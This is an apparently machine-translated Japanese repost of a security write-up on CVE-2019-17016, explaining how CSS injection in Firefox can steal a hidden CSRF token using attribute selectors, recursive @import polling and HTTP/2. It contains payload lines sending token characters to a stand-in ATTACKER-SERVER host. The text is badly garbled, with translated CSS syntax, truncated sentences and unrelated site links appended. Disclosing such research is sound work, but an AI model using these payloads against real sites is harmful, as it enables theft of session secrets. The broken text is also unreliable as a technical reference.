0x00 はじめに 数か月前、Firefox に脆弱性 (CVE-2019-17016) があることを発見しました。調査中に、Firefox の CSS を使用して単一のインジェクション ポイントからデータを盗むことができるデータ窃盗手法を発見しました。調査結果を皆さんと共有したいと思います。 0x01 背景 デモンストレーションの目的で、 <input type="hidden" name="csrftoken" value="SOME_VALUE"> スクリプトを使用できないため (おそらく CSP が原因)、スタイルベースのインジェクションを探しています。従来のアプローチでは、次のように属性セレクタを使用します。 入力[名前='csrftoken'][値^='a'] { 背景: url(//ATTACKER-SERVER/leak/a); } 入力[名前='csrftoken'][値^='b'] { 背景: url(//ATTACKER-SERVER/leak/b); } ... 入力[名前='csrftoken'][値^='z'] { 背景: url(//ATTACKER-SERVER/leak/z); } CSS ルールが適用されると、攻撃者は HTTP リクエストを受信してトークンの最初の文字を取得できます。次に、攻撃者は、以下に示すように、盗んだ最初の文字を含む別のスタイルシートを準備する必要があります。 入力[名前='csrftoken'][値^='aa'] { 背景: url(//ATTACKER-SERVER/leak/aa); } 入力[名前='csrftoken'][値^='ab'] { 背景: url(//ATTACKER-SERVER/leak/ab); } ... 入力[名前='csrftoken'][値^='az'] { 背景: url(//ATTACKER-SERVER/leak/az); } 通常、攻撃者は、後続のスタイルシートを提供するために、 2018 年、Pepe Vila 氏は、Chrome の CSS 再帰インポートを悪用して、単一の注入ポイントで同じタスクを達成するという非常に優れたアイデアを思いつきました。 2019 年、Nathanial Lattimer (@d0nutptr) が、少し工夫を加えて同じ手法を再提案しました。以下では、この記事のアイディアに近い Lattimer の方法を簡単にまとめます (ただし、この調査中に Lattimer の以前の研究を知らなかったため、車輪の再発明だと思われる方もいるかもしれません)。 つまり、最初の注入では一連の @import url(//ATTACKER-SERVER/polling?len=0); @import url(//ATTACKER-SERVER/polling?len=1); @import url(//ATTACKER-SERVER/polling?len=2); ... 中心となる考え方は次のとおりです。 1. 最初は、最初の 2. 最初の 3. 漏洩した最初のトークンが 4. 2 番目に漏洩した文字が この手法が機能するのは、Chrome が 0x02 Firefoxとスタイルシートの処理 上記の方法は、スタイルシートを Chrome とはまったく異なる方法で処理する Firefox では機能しません。ここでは、いくつかの事例を使ってその違いを説明します。 まず、Firefox はスタイルシートを同期的に処理します。したがって、スタイルシートに複数の <スタイル> @import '/polling/0'; @import '/polling/1'; @import '/polling/2'; </スタイル> 最初の これを修正するには、すべての <style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> 上記のコードでは、Firefox はすべてのスタイルシートを個別に処理するため、ページはすぐに青色に変わり、その他の しかし、ここで別の問題が発生します。10 文字を含むトークンを盗むとします。 <style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> ... <style>@import '/polling/10';</style> Firefox はすぐに 10 件の 0x03 HTTP/2 6 つの接続の制限は TCP 層によって決定されるため、単一のサーバーに対して同時に存在できる TCP 接続は 6 つだけです。この場合、HTTP/2 が役に立つと思います。 HTTP/2 には多くの利点があります。たとえば、単一の接続を介して複数の HTTP リクエストを送信できるため (多重化とも呼ばれます)、パフォーマンスが大幅に向上します。 Firefox では、単一の HTTP/2 接続に対する同時リクエストの数も制限されていますが、デフォルトではその制限は 0x04 搾取 これで準備はすべて整いました。主なエクスプロイトのシナリオは次のとおりです。 1. エクスプロイトコードは HTTP/2 に基づいています。 2. 3. 4. Firefox に同じサーバーへの 2 つの TCP 接続を強制的に開始させるために、ここでは 5. エンドポイント この方法で さらに、PoC コードも GitHub でホストしており、攻撃プロセスはここにあるビデオで確認できます。 興味深いことに、HTTP/2 を使用しているため、攻撃は非常に高速で、トークン全体を 3 秒以内に取得できます。 0x05 概要 この記事では、ページをリロードせずに CSS 経由でデータを盗むためにインジェクション ポイントを悪用する方法を説明しました。ここで重要な点は 2 つあります。 1. 2. TCP 同時接続制限を回避するには、HTTP/2 を介して攻撃を開始する必要があります。 以上が、Firefox ブラウザで CSS を使用してデータを盗む方法についてご紹介しました。お役に立てれば幸いです。123WORDPRESS.COM ウェブサイトをご愛顧いただき、誠にありがとうございます。 |
<<: DockerはClickHouseをインストールし、データテストを初期化します
>>: 入力テキスト ボックスと画像検証コードの位置合わせの問題 (画像は常に入力より 1 つ上になります)
MySQLの読み書き分離の落とし穴読み取りと書き込みの分離の主な目的は、メイン データベースの負荷を...
目次インストール不要のMySQLバージョン1. インストール パッケージをダウンロードします。 2....
1. Reactコンポーネントを定義する2つの方法1. 関数コンポーネント。単純な関数コンポーネント...
目次1. ソースコード1.1 モノレポ1.2 タイプスクリプト2. パフォーマンス2.1 ソースコー...
序文Linux システムをインストールした後の最も一般的なタスクは、ネットワーク構成です。もちろん、...
MySQLは私がとても気に入っているデータベースです。今日はWindows 8システムでインストール...
この記事では、優れた Web ページのカラー マッチングの事例を 20 件集めて紹介します。これらの...
Remレイアウトの適応Vant のスタイルでは、デフォルトで px を単位として使用します。rem ...
目次背景インスピレーションは人生から生まれる速達配送の最適化原則GaussDB の最適化 (MySQ...
1. nginxをインストールして起動する # nginxをインストールする sudo apt-ge...
インストールFilebeat は、より軽量でより安全なため、Logstash-Forwarder に...
1. リクエスト回答インターフェース2. ユーザーの回答が正しいかどうかを判断します。回答が正しい場...
MySQL を学習すると、インストール後にいくつかのデフォルトのデータベースが付属していることに気付...
この記事では、MySQL 5.7.21の解凍版をダウンロードしてインストールする詳細な手順を記録して...
今日、誰かがコードを調整するのを手伝っていたとき、次のようなスタイルを見つけました。 背景位置: 5...